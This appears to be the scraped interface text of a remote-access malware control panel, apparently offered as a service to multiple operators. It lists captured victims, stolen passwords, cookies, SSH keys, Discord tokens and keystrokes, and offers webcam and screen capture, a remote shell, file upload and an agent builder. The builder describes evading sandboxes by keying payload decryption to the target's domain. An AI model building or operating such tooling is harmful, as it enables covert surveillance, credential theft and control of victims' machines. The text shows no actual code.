Dashboard

Recent Victims

Victim IDHostnameIPOSStatusLast Seen

All Victims

StatusHostnameUsernameIPOSAVMACPrivLast Seen

Credentials

OriginUsernamePasswordTypeVictimCaptured

Cookies

DomainNameValueSecureVictimCaptured

SSH Keys

Key PathTypeSizeEncryptedVictimCaptured

Git Repositories

Repo NameRemote URLHas CredsPathVictimCaptured

Discord Tokens

UsernameTokenMFAVictimCaptured

Captured Keystrokes


          

        

      

      
      

        

          
          
          
        

        

          

            
            
No webcam frames yet. Click Snap to request a capture.

          

          

        

      

      
      

        

          
        

        

          

            
            
          

          

            
(shell output appears here)

          

          

        

      

      
      

        

          
          
          
          
        

        

          

            
            
Press Start Stream to begin live screen capture.

          

          

            

              
Mouse Event

              

                
                
              

              

                
                
                
                
                
              

            

            

              
Key Event

              

                
              

              

                
                
              

              
Common: Enter=0x0D   Esc=0x1B   Win=0x5B   Tab=0x09

            

          

        

      

      
      
      
      

        

          
          
          
          
        

        

          

            
NameSizeModified

            
Select a victim to browse files

          

        

        

          
Upload File to Victim

          

            
            
            
          

          

        

      

      
      

        

          

            
Send Command

            

            

              
            

            

            
            

          

          

            
Recent Commands

            

              
#VictimTypeStatusQueued

              
            

          

        

      

      
      

        

          

            
Build Agent

            

              
              

                
                
              

            

            

              
              
            

            

              
              
            

            

              
              
            

            

              
              
              
Named pipe used for child ↔ parent relay (max 34 chars, ASCII).

            

            

              
              
              
Binds payload decryption to this AD domain via SHA-256(base_key || domain). Sandbox detonation → GCM tag fails → silent exit. Required for Sideload format.

            

            
            
            
            
          

          

            
How It Works

            

              
The server compiles a fresh agent binary and patches in your Operator ID, the C2 host, port, and shared key.

              
Victims captured by your agent report back only to your account — other operators cannot see your data.

              
Build time is typically 30–60 seconds. The download link appears automatically when ready.

            

          

        

      

      
      

        

          
Operator Accounts

          

            
UsernameRoleOperator IDActiveExpiresCreatedLast LoginActions

            
          

        

      


      
      

    

    

      — online
      |
      — total
      |
      — creds
      |